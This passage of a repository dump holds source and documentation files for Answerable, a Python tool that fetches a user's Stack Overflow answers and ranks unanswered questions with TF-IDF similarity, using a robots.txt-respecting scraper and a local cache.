[ { "alpha_fraction": 0.625560998916626, "alphanum_fraction": 0.6306341290473938, "avg_line_length": 36.40876007080078, "blob_id": "460800a5a95edc760a474e871412b2ac4b7e2caa", "content_id": "43e0d5e022cf8f19faa8f8bcced04a0e0bd65f42", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5125, "license_type": "permissive", "max_line_length": 142, "num_lines": 137, "path": "/jinja2precompiler.py", "repo_name": "Frozen/jinja2-precompiler", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom optparse import OptionParser\nimport logging\nimport os\nimport re\nimport sys\n\nimport jinja2\n\ndef option_parse():\n parser = OptionParser()\n parser.add_option(\"-a\", \"--all\", action=\"store_true\", dest=\"all_files\", help=\"all files\")\n parser.add_option(\"-b\", \"--base\", dest=\"base\", default=\"\", help=\"base dir name\", metavar=\"DIR\")\n parser.add_option(\"-c\", \"--pyc\", action=\"store_true\", dest=\"pyc\", help=\"byte compile\")\n parser.add_option(\"-d\", \"--debug\", action=\"store_true\", dest=\"debug\", help=\"debug\")\n parser.add_option(\"-e\", \"--ext\", dest=\"extensions\", default=\"html,xhtml\", help=\"list of extension [default: %default]\", metavar=\"EXT[,...]\")\n parser.add_option(\"-m\", \"--modulename\", action=\"store_true\", dest=\"modulename\", help=\"return compiled module file name\")\n parser.add_option(\"-q\", \"--quit\", action=\"store_true\", dest=\"quit\", help=\"no message\")\n parser.add_option(\"-v\", \"--verbose\", action=\"store_true\", dest=\"verbose\", help=\"more messages\")\n (options, args) = parser.parse_args()\n return parser, options, args\n\ndef get_module_filename(filename, py_compile=False):\n module_filename = jinja2.ModuleLoader.get_module_filename(filename)\n if py_compile:\n module_filename += \"c\"\n return module_filename\n\ndef make_filter_func(target, env, extensions=None, all_files=False):\n\n def filter_func(tpl):\n if extensions is not None and os.path.splitext(tpl)[1][1:] not in extensions:\n return False\n if all_files:\n return True\n _content, filename, _update = env.loader.get_source(env, tpl)\n module_filename = os.path.join(target, get_module_filename(tpl))\n if not os.path.isfile(module_filename):\n module_filename_pyc = module_filename + \"c\"\n if not os.path.isfile(module_filename_pyc):\n return True\n else:\n module_filename = module_filename_pyc\n if os.path.getmtime(filename) > os.path.getmtime(module_filename):\n return True\n return False\n\n return filter_func\n\nif jinja2.__version__[:3] >= \"2.8\":\n \"\"\"\n jinja2 2.8 supports walking symlink directories.\n see: https://github.com/mitsuhiko/jinja2/issues/71\n \"\"\"\n\n from jinja2 import FileSystemLoader\n\nelse:\n\n class FileSystemLoader(jinja2.FileSystemLoader):\n\n def __init__(self, searchpath, encoding='utf-8', followlinks=False):\n super(FileSystemLoader, self).__init__(searchpath, encoding)\n self.followlinks = followlinks\n\n def list_templates(self):\n found = set()\n for searchpath in self.searchpath:\n walk_dir = os.walk(searchpath, followlinks=self.followlinks)\n for dirpath, dirnames, filenames in walk_dir:\n for filename in filenames:\n template = os.path.join(dirpath, filename) \\\n [len(searchpath):].strip(os.path.sep) \\\n .replace(os.path.sep, '/')\n if template[:2] == './':\n template = template[2:]\n if template not in found:\n found.add(template)\n return sorted(found)\n\ndef main():\n\n def logger(msg):\n sys.stderr.write(\"%s\\n\" % msg)\n\n parser, options, args = option_parse()\n if options.debug:\n logging.getLogger().setLevel(logging.DEBUG)\n elif options.verbose:\n logging.getLogger().setLevel(logging.INFO)\n elif options.quit:\n logging.getLogger().setLevel(logging.CRITICAL)\n logger = None\n logging.debug(\"parse_options: options %s\" % options)\n logging.debug(\"parse_options: args %s\" % args)\n for i in args:\n if not os.path.exists(i):\n logging.warning(\"No such directory: '%s'\" % i)\n sys.exit(1)\n if options.modulename:\n basedir = re.compile(options.base)\n results = list()\n for i in args:\n results.append(os.path.join(options.base, get_module_filename(basedir.sub(\"\", i).lstrip(\"/\"), py_compile=options.pyc)))\n print(\" \".join(results))\n sys.exit(0)\n if len(args) != 1:\n parser.print_help()\n sys.exit(1)\n logging.info(\"Compiling bundled templates...\")\n arg = args[0]\n if not arg.endswith(os.path.sep):\n arg = \"\".join((arg, os.path.sep))\n env = jinja2.Environment(loader=FileSystemLoader([os.path.dirname(arg)], followlinks=True))\n if os.path.isdir(arg):\n if options.extensions is not None:\n extensions = options.extensions.split(\",\")\n else:\n extensions = None\n filter_func = make_filter_func(arg, env, extensions, options.all_files)\n target = arg\n logging.info(\"Now compiling templates in %s.\" % arg)\n else:\n basename = os.path.basename(arg)\n filter_func = lambda x: x == basename\n target = os.path.dirname(arg)\n logging.info(\"Now compiling a template: %s.\" % arg)\n env.compile_templates(target, extensions=None,\n filter_func=filter_func, zip=None, log_function=logger,\n ignore_errors=False, py_compile=options.pyc)\n logging.info(\"Finished compiling bundled templates...\")\n\nif __name__== \"__main__\":\n logging.getLogger().setLevel(logging.WARNING)\n main()\n" }, { "alpha_fraction": 0.6548343300819397, "alphanum_fraction": 0.7359702587127686, "avg_line_length": 25.89090919494629, "blob_id": "acfc2be5be91d136f4cec4437fcd0d27a8570d4c", "content_id": "e7e74a8e51761fbdd9c1261b4a680e406244bd1c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2958, "license_type": "permissive", "max_line_length": 148, "num_lines": 110, "path": "/README.rst", "repo_name": "Frozen/jinja2-precompiler", "src_encoding": "UTF-8", "text": "Jinja2 pre-compiler |Build Status|_\n===================================\n\nPre-compile Jinja2 templates to Python byte code.\n\n.. |Build Status| image:: https://travis-ci.org/MiCHiLU/jinja2-precompiler.png?branch=master\n.. _`Build Status`: http://travis-ci.org/MiCHiLU/jinja2-precompiler\n\n\nUsage\n-----\nJinja2 pre-compiler comes with a utility script called ``jinja2precompiler``.\nPlease type ``jinja2precompiler --help`` at the shell prompt to\nknow more about this tool.\n\nCompiling the Jinja2 template\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThen run ``jinja2precompiler`` command::\n\n $ jinja2precompiler templates\n Compiling into folder \"templates\"\n ...\n Compiled \"templates/template.html\" as tmpl_5f0fcb0ed56efa600c50d9f2870192327823c063.py\n ...\n Finished compiling templates\n\nWill compiling to Python byte code with ``--pyc`` option::\n\n $ jinja2precompiler --pyc templates\n Compiling into folder \"templates\"\n ...\n Compiled \"templates/template.html\" as tmpl_5f0fcb0ed56efa600c50d9f2870192327823c063.pyc\n ...\n Finished compiling templates\n\nGet the compiled module name\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWill return a module file name with ``--modulename`` option::\n\n $ jinja2precompiler --modulename templates/template.html\n tmpl_41d3b4a4b71afe0c223778e57c23244caee1baec.py\n\n $ jinja2precompiler --modulename --pyc templates/template.html\n tmpl_41d3b4a4b71afe0c223778e57c23244caee1baec.pyc\n\nAnd you can prepend directory path with ``--base`` option::\n\n $ jinja2precompiler --modulename --base=templates templates/template.html\n templates/tmpl_5f0fcb0ed56efa600c50d9f2870192327823c063.py\n\nWill return module file names you specify the argument more than one::\n\n $ jinja2precompiler --modulename a.html b.html c.html\n tmpl_25e7e8960b03ecb19189f36b8ef611389397c95c.py tmpl_83d0d31e29a7746a19536d616218a384f62d4694.py tmpl_45ecd51cee2d33904a8cd1af7c441dd3fc320870.py\n\nWith Make\n~~~~~~~~~\n\nAn example ``Makefile`` file::\n\n templates_compiled.zip: $(wildcard templates/*.html)\n \tjinja2precompiler -c templates\n \tzip -FS -j templates_compiled.zip templates/*.pyc\n\nWill compiling only updated files and storing into the zip file.\n\n\nInstallation\n------------\nInstalling from PyPI using ``pip``::\n\n pip install jinja2precompiler\n\nInstalling from PyPI using ``easy_install``::\n\n easy_install jinja2precompiler\n\nInstalling from source::\n\n python setup.py install\n\n\nDependencies\n------------\n1. Jinja2_\n\n\nChanges\n-------\n\n0.2: supports walking symlink directories\n\n\nLicensing\n---------\nJinja2 pre-compiler is licensed under the terms of the `BSD 3-Clause`_.\n\nCopyright 2012 ENDOH takanao.\n\nProject `source code`_ is available at Github. Please report bugs and file\nenhancement requests at the `issue tracker`_.\n\n\n.. links:\n.. _Jinja2: http://jinja.pocoo.org/\n.. _BSD 3-Clause: http://opensource.org/licenses/BSD-3-Clause\n.. _issue tracker: http://github.com/MiCHiLU/jinja2-precompiler/issues\n.. _source code: http://github.com/MiCHiLU/jinja2-precompiler\n" }, { "alpha_fraction": 0.688144326210022, "alphanum_fraction": 0.7036082744598389, "avg_line_length": 28.846153259277344, "blob_id": "19708669801742d7e86fd8d689417ea14ef6f3b9", "content_id": "2e4d44d9fd69f609c5801918e5830214ce7e2296", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 388, "license_type": "permissive", "max_line_length": 96, "num_lines": 13, "path": "/tests/test_bugs.py", "repo_name": "Frozen/jinja2-precompiler", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nimport jinja2\nimport pytest\n\nimport jinja2precompiler\n\ndef test_IndexError():\n env = jinja2.Environment(loader=jinja2.FileSystemLoader([\".\"]))\n filter_func = jinja2precompiler.make_filter_func(\"\", env, extensions=[\"html\"], all_files=True)\n assert filter_func(\"test.html\") == True\n assert filter_func(\"test.xml\") == False\n assert filter_func(\"html\") == False\n" } ]
3
limkokholefork/Answerable
https://github.com/limkokholefork/Answerable
79d9c1935f0f481afd3c5ae98cf37621d651a959
4d4e8b1fc0aad2d5e86e978ed99825288c59a64a
3e8adc9a0f9f883528777b70121cb90aa8f959d3
refs/heads/main
2023-06-06T10:38:30.138641
2021-06-24T15:13:07
2021-06-24T15:13:07
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7706530094146729, "alphanum_fraction": 0.774193525314331, "avg_line_length": 50.8775520324707, "blob_id": "4dd2298a90a164849e60aa3eab46a021e37658bb", "content_id": "e2ca3d9ad81d9168f2ad39943fe1473cf1aaf12e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2542, "license_type": "permissive", "max_line_length": 225, "num_lines": 49, "path": "/CONTRIBUTING.md", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "# Contributing to Answerable\n\nThank you for thinking about contributing to this project! I hope you find Answerable useful and have some ideas to make it better.\n\nIn the [README.md](README.md) you will find the list of tasks I'm currently working on, in case you want to open a related issue or PR.\n\n# How to contribute\n\n1. Fork the repository [![](https://img.shields.io/github/forks/MiguelMJ/Answerable?style=social)](https://github.com/MiguelMJ/Answerable/network/members).\n2. Create a new branch from the latest `dev` branch.\n3. Make your changes there.\n4. Commit and push to the new branch.\n5. Make a pull request.\n\nConsider running Black, Pyflakes and/or other code formatters and analyzers before submitting your changes.\n\n## Almost directly acceptable contributions\n\n- Making grammar corrections anywhere in [the documentation](https://github.com/MiguelMJ/Answerable/wiki) or the comments in the code (don't spam these).\n- Fixing a bug. If you don't want or know how to fix it, you can still **open an issue** [![](https://img.shields.io/github/issues/MiguelMJ/Answerable?logo=GitHub&style=social)](https://github.com/MiguelMJ/Answerable/issues).\n- Improving a piece of code without importing a new library. The less dependencies, the better.\n\n## Contributions subject to review\n\n- Modifying or extending the displayed statistics.\n- Modifying or extending the recommendation algorithm.\n- Extending the documentation.\n- Solving any of the tasks listed in the To Do list in the [README.md](README.md).\n - Notice that most of them require the use of the [Stack Exchange API](https://api.stackexchange.com/).\n\n## Contributions that require a heavy justification\n\n- Replacing a working piece of code by an new import.\n- Changes in the way data is displayed.\n\n## Contributing with a new model\n\nI invite you to make your own model and share it, but I will only accept a model in the central repository if:\n\n- It makes an obvious and noticeable improvement on an existing model.\n- It takes into account different/more information than other models.\n- It uses a new approach that no other present model has.\n\nDon't forget do document any new model in [models/README.md](models/README.md).\n\n# Give feedback and visibility\n\n:star: Star this repository [![](https://img.shields.io/github/stars/MiguelMJ/Answerable?style=social)](https://github.com/MiguelMJ/Answerable/stargazers).\n:arrow_up: Upvote it on [Stack Apps](https://stackapps.com/questions/8805/placeholder-answerable-a-recomendator-of-unanswered-questions) and comment your feedback.\n" }, { "alpha_fraction": 0.6171990036964417, "alphanum_fraction": 0.624078631401062, "avg_line_length": 31.047245025634766, "blob_id": "449bd7b6781c22d80731cafb23dd672ac6c5958d", "content_id": "bc1841ed22879ac16b87c26e4d7520ae10b8172a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4070, "license_type": "permissive", "max_line_length": 85, "num_lines": 127, "path": "/tools/spider.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Spider Tool for Answerable\n\nThis file contains the functions used to wrapp requests following\nrespecful practices, taking into account robots.txt, conditional\ngets, caching contente, etc.\n\"\"\"\n\nimport json\nimport requests\n\n# from random import random as rnd\nfrom time import sleep\nfrom datetime import timedelta as td\n\nimport feedparser\nfrom urllib.robotparser import RobotFileParser\nfrom urllib.parse import urlparse\n\nfrom tools import cache\nfrom tools.displayer import fg, bold, green, yellow, red\nfrom tools.log import log, abort\n\n_rp = {} # robots.txt memory\n\n\nclass _FalseResponse:\n \"\"\"Object with the required fields to simulate a HTTP response\"\"\"\n\n def __init__(self, code, content):\n self.status_code = code\n self.content = content\n\n\ndef ask_robots(url: str, useragent: str) -> bool:\n \"\"\"Check if the useragent is allowed to scrap an url\n\n Parse the robot.txt file, induced from the url, and\n check if the useragent may fetch a specific url.\n \"\"\"\n\n url_struct = urlparse(url)\n base = url_struct.netloc\n if base not in _rp:\n _rp[base] = RobotFileParser()\n _rp[base].set_url(url_struct.scheme + \"://\" + base + \"/robots.txt\")\n _rp[base].read()\n return _rp[base].can_fetch(useragent, url)\n\n\ndef get(url, delay=2, use_cache=True, max_delta=td(hours=12)):\n \"\"\"Respectful wrapper around requests.get\"\"\"\n\n useragent = \"Answerable v0.1\"\n\n # If a cached answer exists and is acceptable, then return the cached one.\n\n cache_file = url.replace(\"/\", \"-\")\n if use_cache:\n log(\"Checking cache before petition {}\", fg(url, yellow))\n hit, path = cache.check(\"spider\", cache_file, max_delta)\n if hit:\n with open(path, \"r\") as fh:\n res = fh.read().replace(\"\\\\r\\\\n\", \"\")\n return _FalseResponse(200, res)\n\n # If the robots.txt doesn't allow the scraping, return forbidden status\n if not ask_robots(url, useragent):\n log(fg(\"robots.txt forbids {}\", red), url)\n return _FalseResponse(403, \"robots.txt forbids it\")\n\n # Make the request after the specified delay\n # log(\"[{}] {}\".format(fg(\"{:4.2f}\".format(delay), yellow), url))\n log(\"Waiting to ask for {}\", fg(url, yellow))\n log(\" in {:4.2f} seconds\", delay)\n sleep(delay)\n headers = {\"User-Agent\": useragent}\n log(\"Requesting\")\n res = requests.get(url, timeout=10, headers=headers)\n # Exit the program if the scraping was penalized\n if res.status_code == 429: # too many requests\n abort(\"Too many requests\")\n\n # Cache the response if allowed by user\n if use_cache:\n cache.update(\n \"spider\", cache_file, res.content.decode(res.encoding), json_format=False\n )\n\n return res\n\n\ndef get_feed(url, force_reload=False):\n \"\"\"Get RSS feed and optionally remember to reduce bandwith\"\"\"\n\n useragent = \"Answerable RSS v0.1\"\n log(\"Requesting feed {}\", fg(url, yellow))\n cache_file = url.replace(\"/\", \"_\")\n\n # Get the conditions for the GET bandwith reduction\n etag = None\n modified = None\n if not force_reload:\n hit, path = cache.check(\"spider.rss\", cache_file, td(days=999))\n if hit:\n with open(path, \"r\") as fh:\n headers = json.load(fh)\n etag = headers[\"etag\"]\n modified = headers[\"modified\"]\n log(\"with {}: {}\", bold(\"etag\"), fg(etag, yellow))\n log(\"with {}: {}\", bold(\"modified\"), fg(modified, yellow))\n\n # Get the feed\n feed = feedparser.parse(url, agent=useragent, etag=etag, modified=modified)\n\n # Store the etag and/or modified headers\n if feed.status != 304:\n etag = feed.etag if \"etag\" in feed else None\n modified = feed.modified if \"modified\" in feed else None\n new_headers = {\n \"etag\": etag,\n \"modified\": modified,\n }\n cache.update(\"spider.rss\", cache_file, new_headers)\n log(\"Stored new {}: {}\", bold(\"etag\"), fg(etag, green))\n log(\"Stored new {}: {}\", bold(\"modified\"), fg(modified, green))\n\n return feed\n" }, { "alpha_fraction": 0.7354497313499451, "alphanum_fraction": 0.7442680597305298, "avg_line_length": 39.57143020629883, "blob_id": "579cdeac401d9760e6e9027bee5bb104d8649812", "content_id": "0498c3a6d641e3698791b3a235adc6c1b1005457", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 567, "license_type": "permissive", "max_line_length": 92, "num_lines": 14, "path": "/CHANGELOG.md", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "## 1.1\n\n- Improve the recommendation model: add `content_based_1` model and make it the default one.\n- Enable user defined recommendation models: add `-m MODEL` `--model MODEL` option.\n- Display additional information from the system: add `-i` `--info` option.\n- Enable including questions not answered by the user, using the `include.txt` file.\n- Automatically check for updates in the GitHub repository.\n- Improve the warning and error messages.\n- Minor bug fixes.\n\n## 1.0\n\n- Initial release.\n- Core features: `recommend`, `save` and `summary` commands implemented." }, { "alpha_fraction": 0.6587526798248291, "alphanum_fraction": 0.6637136936187744, "avg_line_length": 37.135135650634766, "blob_id": "99da2c2ede92367c290a9cdf2ffa9ccdd90f6f69", "content_id": "0e24ab66a50b6ca1308043ba21e118228024052b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2822, "license_type": "permissive", "max_line_length": 86, "num_lines": 74, "path": "/models/content_based_0.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Recommender Tool for Answerable\n\nThis file contains the recommendation algorithm.\n\"\"\"\n\nfrom bs4 import BeautifulSoup as bs\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\n\n\ndef recommend(user_qa, feed):\n\n answered = [\n x[0][\"title\"] + \" \" + bs(x[0][\"body\"], \"html.parser\").getText(\" \", strip=True)\n for x in user_qa\n ]\n tags_ans = [\" \".join(x[0][\"tags\"]) for x in user_qa]\n\n questions = [x[\"title\"] + x[\"body\"] for x in feed]\n tags_unans = [\" \".join(x[\"tags\"]) for x in feed]\n\n nans = len(answered)\n nunans = len(questions)\n\n \"\"\"\n The following code is an adapted version of the Content-Based recommmender\n described in this tutorial:\n\n https://www.datacamp.com/community/tutorials/recommender-systems-python\n \"\"\"\n\n tfidf = TfidfVectorizer(stop_words=\"english\")\n count = CountVectorizer(stop_words=\"english\")\n\n # list of vectorized body and tags\n tfidf_matrix = tfidf.fit_transform(answered + questions)\n count_matrix = count.fit_transform(tags_ans + tags_unans)\n\n # similarity matrices: without and with tags\n cosine_sim_body = linear_kernel(tfidf_matrix, tfidf_matrix)\n cosine_sim_tags = linear_kernel(count_matrix, count_matrix) + cosine_sim_body\n\n # rows: unanswered, cols: answered\n unans_similarity_body = cosine_sim_body[nans:, :nans]\n unans_similarity_tags = cosine_sim_tags[nans:, :nans]\n\n # form of the following lists: [(feed index, value)]\n sum_sim_body = enumerate([sum(r) for r in unans_similarity_body])\n max_sim_body = enumerate([max(r) for r in unans_similarity_body])\n sum_sim_tags = enumerate([sum(r) for r in unans_similarity_tags])\n max_sim_tags = enumerate([max(r) for r in unans_similarity_tags])\n\n # sort the indices by the value\n sort_sum_sim_body = sorted(sum_sim_body, key=lambda x: x[1], reverse=True)\n sort_max_sim_body = sorted(max_sim_body, key=lambda x: x[1], reverse=True)\n sort_sum_sim_tags = sorted(sum_sim_tags, key=lambda x: x[1], reverse=True)\n sort_max_sim_tags = sorted(max_sim_tags, key=lambda x: x[1], reverse=True)\n\n # map each index to its classifications\n by_sum_body = {x[0]: i for i, x in enumerate(sort_sum_sim_body)}\n by_max_body = {x[0]: i for i, x in enumerate(sort_max_sim_body)}\n by_sum_tags = {x[0]: i for i, x in enumerate(sort_sum_sim_tags)}\n by_max_tags = {x[0]: i for i, x in enumerate(sort_max_sim_tags)}\n\n # compute the mean classification for each index\n mean_index = []\n for i in range(nunans):\n mean = (by_sum_body[i] + by_sum_tags[i] + by_max_body[i] + by_max_tags[i]) / 4\n mean_index.append((mean, i))\n\n # build the final recommended feed order\n by_mean = [x[1] for x in sorted(mean_index)]\n\n return by_mean, None\n" }, { "alpha_fraction": 0.6043412089347839, "alphanum_fraction": 0.6047220230102539, "avg_line_length": 29.78823471069336, "blob_id": "9a90da6cb595f388766f87b54c4b48a74bffedd9", "content_id": "4f50a6054661df0f4e2d1093068e5eab375c0635", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2626, "license_type": "permissive", "max_line_length": 82, "num_lines": 85, "path": "/tools/cache.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Cache Tool for Answerable\n\nThis file contains the functions to access and modify cached content.\nIt may be used by different modules, so each function requires a category argument\nto avoid collisions.\n\nAs every function is intended to serve a secondary role in extern functions, the\nlogs have an extra level of indentation.\n\"\"\"\n\nimport json\nimport pathlib\nfrom datetime import datetime as dt\nfrom datetime import timedelta as td\n\nfrom tools.log import log\nfrom tools.displayer import fg, green, magenta\n\n\n__cache_dir = \".cache\"\n\n\ndef check(category: str, _file: str, max_delta: td) -> (bool, pathlib.Path):\n \"\"\"Return if a file is cached and where it is located.\n\n Returns:\n (B, P) where\n - B is true if the content is cached and usable\n - P is the path where the cached content is/should be.\n\n Parameters:\n category: Folder inside the cache.\n _file: File name to look for.\n max_delta: Timedelta used as threshold to consider a file too old.\n \"\"\"\n\n # Prepare the path to the cached file\n subpath = pathlib.Path(category) / _file\n path = pathlib.Path.cwd() / __cache_dir / subpath\n path.parent.mkdir(parents=True, exist_ok=True)\n\n try:\n if not path.exists():\n log(\" Miss {}\", fg(subpath, magenta))\n return False, path\n else:\n # Check if the file is too old\n log(\" Hit {}\", fg(subpath, green))\n modified = dt.fromtimestamp(path.stat().st_mtime)\n now = dt.now()\n delta = now - modified\n log(\" Time passed since last fetch: {}\", delta)\n valid = delta < max_delta\n if valid:\n log(fg(\" Recent enough\", green))\n else:\n log(fg(\" Too old\", magenta))\n return valid, path\n except OSError as err:\n log(\" {}: {}\", err, fg(subpath, magenta))\n return False, path\n\n\ndef update(category: str, _file: str, obj, json_format=True):\n \"\"\"Update or create a file in the cache\n\n Parameters:\n category: Folder inside the cache.\n _file: File name to store in.\n obj: Serializable object to store.\n \"\"\"\n\n subpath = pathlib.Path(category) / _file\n path = pathlib.Path.cwd() / __cache_dir / subpath\n path.parent.mkdir(parents=True, exist_ok=True)\n try:\n with open(path, \"w\") as fh:\n if json_format:\n json.dump(obj, fh, indent=2)\n else:\n fh.write(obj)\n log(\" Cache updated: {}\", fg(subpath, green))\n except OSError as err:\n log(\" {}: {}\", err, fg(subpath, magenta))\n return False, path\n \n" }, { "alpha_fraction": 0.5744746327400208, "alphanum_fraction": 0.5864396095275879, "avg_line_length": 30.492753982543945, "blob_id": "52a617b5e62cca270148027989f3cb7d2337fec7", "content_id": "f825ed61bee5d5dd70c7ad9267605110d95e1e70", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6519, "license_type": "permissive", "max_line_length": 200, "num_lines": 207, "path": "/tools/fetcher.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Fetcher Tool for Answerable\n\nThis file contains the high level functions in charge of data retrieval.\nIt provides a interface between the spider/crawler and another level of\ncacheable information.\n\"\"\"\n\nimport math\nimport json\nfrom datetime import timedelta as td\n\nfrom bs4 import BeautifulSoup\n\nfrom tools import spider, cache\nfrom tools.log import log, abort\nfrom tools.displayer import fg, magenta, green, bold\n\ncache_where = \"fetcher\"\ncache_threshold = td(hours=12)\n\n\ndef get_questions(question_ids):\n \"\"\"Retrieve questions from Stack Overflow\n\n - question_ids: list of question IDs\n\n Returns a list of objects with the following attributes:\n {\n \"tags\": [string],\n \"answers\": [ {\"owner\": {\"user_id\": int}} ],\n \"score\": int,\n \"creation_date\": timestamp,\n \"question_id\": int,\n \"link\": string,\n \"title\": string,\n \"body\": string (html)\n }\n \"\"\"\n # about this request: https://api.stackexchange.com/docs/questions-by-ids#page=1&pagesize=100&order=desc&sort=creation&ids=67519195&filter=!)So8N7tfWBeyaWUex((*Ndu7tpA&site=stackoverflow\n api_request_f = \"https://api.stackexchange.com//2.2/questions/{}?page={}&pagesize=100&order=desc&sort=creation&site=stackoverflow&filter=!)So8N7tfWBeyaWUex((*Ndu7tpA\"\n max_ids = 100 # no more than 100 ids allowed at once\n k = math.ceil(len(question_ids) / max_ids)\n log(f\"{len(question_ids)} questions, {k} batches\")\n questions = []\n for i in range(k):\n log(f\"batch {i+1}\")\n batch_begin = i * max_ids\n batch_end = i * max_ids + max_ids\n subset = \";\".join(question_ids[batch_begin:batch_end])\n page = 1\n while True:\n api_request = api_request_f.format(subset, page)\n response = spider.get(\n api_request, delay=0.5, use_cache=False\n ) # urls too long to cache\n if response.status_code != 200:\n abort(response)\n result = json.loads(response.content)\n questions += result[\"items\"]\n if not result[\"has_more\"]:\n break\n page += 1\n return questions\n\n\ndef get_user_answers(user_id, force_reload=False, max_page=math.inf):\n \"\"\"Retrieve answers from a Stack Overflow user\n\n - user_id: user ID\n\n Returns a list of objects with the following attributes:\n {\n \"is_accepted\": bool,\n \"score\": int,\n \"questions_id\": int,\n \"link\": string,\n \"title\": string,\n \"body\": string (html),\n }\n \"\"\"\n\n api_request_f = \"https://api.stackexchange.com/2.2/users/{}/answers?page={}&pagesize=100&order=desc&sort=activity&site=stackoverflow&filter=!37n)Y*a2Ut6eDilfH4XoIior(X(b8nm7Z-g)Tgl*A4Qdfe8Mcn-Luu\"\n page = 1\n answers = []\n while page <= max_page:\n api_request = api_request_f.format(user_id, page)\n response = spider.get(\n api_request, delay=0.5, max_delta=td() if force_reload else td(hours=12)\n )\n if response.status_code != 200:\n abort(response)\n result = json.loads(response.content)\n answers += result[\"items\"]\n if not result[\"has_more\"]:\n break\n page += 1\n return answers\n\n\ndef get_QA(user_id, force_reload=False, max_page=5):\n \"\"\"Retrieve information about the questions answered by the user\n\n Return\n [\n (Question_1, Answer_1),\n (Question_2, Answer_2),\n ...\n ]\n See\n get_questions, get_user_answers\n \"\"\"\n\n log(bold(\"Fetching user information\"))\n if force_reload:\n log(fg(\"Force reload\", magenta))\n cache_file = str(user_id) + \".json\"\n # Check cache\n if not force_reload:\n hit, fpath = cache.check(cache_where, cache_file, cache_threshold)\n if hit:\n with open(fpath) as fh:\n stored = json.load(fh)\n return stored\n # Get the answers\n answers = get_user_answers(user_id, force_reload, max_page)\n\n # Get the questions\n q_ids = [str(a[\"question_id\"]) for a in answers]\n questions = get_questions(q_ids)\n\n # Join answers and questions\n user_qa = [\n (q, a)\n for q in questions\n for a in answers\n if q[\"question_id\"] == a[\"question_id\"]\n ]\n cache.update(cache_where, cache_file, user_qa)\n for q, a in user_qa:\n a[\"tags\"] = q[\"tags\"]\n\n ## Include questions specified by user\n try:\n with open(\"include.txt\", \"r\") as f:\n extra_q_ids = f.read().split()\n log(\"Aditional training: \" + str(extra_q_ids))\n extra_questions = get_questions(extra_q_ids)\n except FileNotFoundError:\n extra_questions = []\n log(\"No additional training specified by user\")\n user_qa += [(q, None) for q in extra_questions]\n\n return user_qa\n\n\ndef get_question_feed(url, force_reload=False):\n \"\"\"Retrieve the last questions of the feed\n\n Returns a structure with the following format:\n [Question_1, Question_2, ...]\n\n where Question_n has the following keys:\n link: str\n title: str\n body: str (html)\n tags: list of str\n \"\"\"\n\n log(bold(\"Fetching question feed\"))\n if force_reload:\n log(fg(\"Force reload\", magenta))\n feed = spider.get_feed(url, force_reload=force_reload)\n if feed.status == 304: # Not Modified\n log(fg(\"Feed not modified since last retrieval (status 304)\", magenta))\n return []\n log(\"Number of entries in feed: {}\", fg(len(feed.entries), green))\n questions = []\n for entry in feed.entries:\n soup = BeautifulSoup(entry.summary, \"html.parser\")\n q = {\n \"link\": entry.link,\n \"title\": entry.title,\n \"body\": soup.getText(\" \", strip=True),\n \"tags\": [x[\"term\"] for x in entry.tags],\n }\n questions.append(q)\n return questions\n\n\ndef get_user_tags(filename):\n \"\"\"Parse the tags file and return the user followed and ignored tags\"\"\"\n\n try:\n with open(filename, \"r\") as fh:\n bs = BeautifulSoup(fh.read(), \"html.parser\")\n return {\n \"followed\": [\n x.getText(\" \", strip=True)\n for x in bs.find(id=\"watching-1\").find_all(\"a\", class_=\"post-tag\")\n ],\n \"ignored\": [\n x.getText(\" \", strip=True)\n for x in bs.find(id=\"ignored-1\").find_all(\"a\", class_=\"post-tag\")\n ],\n }\n except FileNotFoundError:\n abort(\"File not found: {}\", filename)\n" }, { "alpha_fraction": 0.5675567984580994, "alphanum_fraction": 0.5723395943641663, "avg_line_length": 26.271739959716797, "blob_id": "aeb5ec1d6b1cf273c104169cd4e296915c28eb26", "content_id": "9fc85afcfc074742b69540a591702fcd9ddb5437", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2509, "license_type": "permissive", "max_line_length": 83, "num_lines": 92, "path": "/models/content_based_1.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Recommender Tool for Answerable\n\nThis file contains the recommendation algorithm.\n\"\"\"\nimport tools.displayer\n\nfrom bs4 import BeautifulSoup as bs\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\nimport numpy as np\nimport re\n\n\ndef preprocessed_text_from_html(html):\n soup = bs(html, \"html.parser\")\n for tag in soup.findAll(name=\"code\"):\n tag.decompose()\n text = soup.getText(\" \", strip=True)\n text = re.sub(r\"\\d+\", \"\", text)\n text = \" 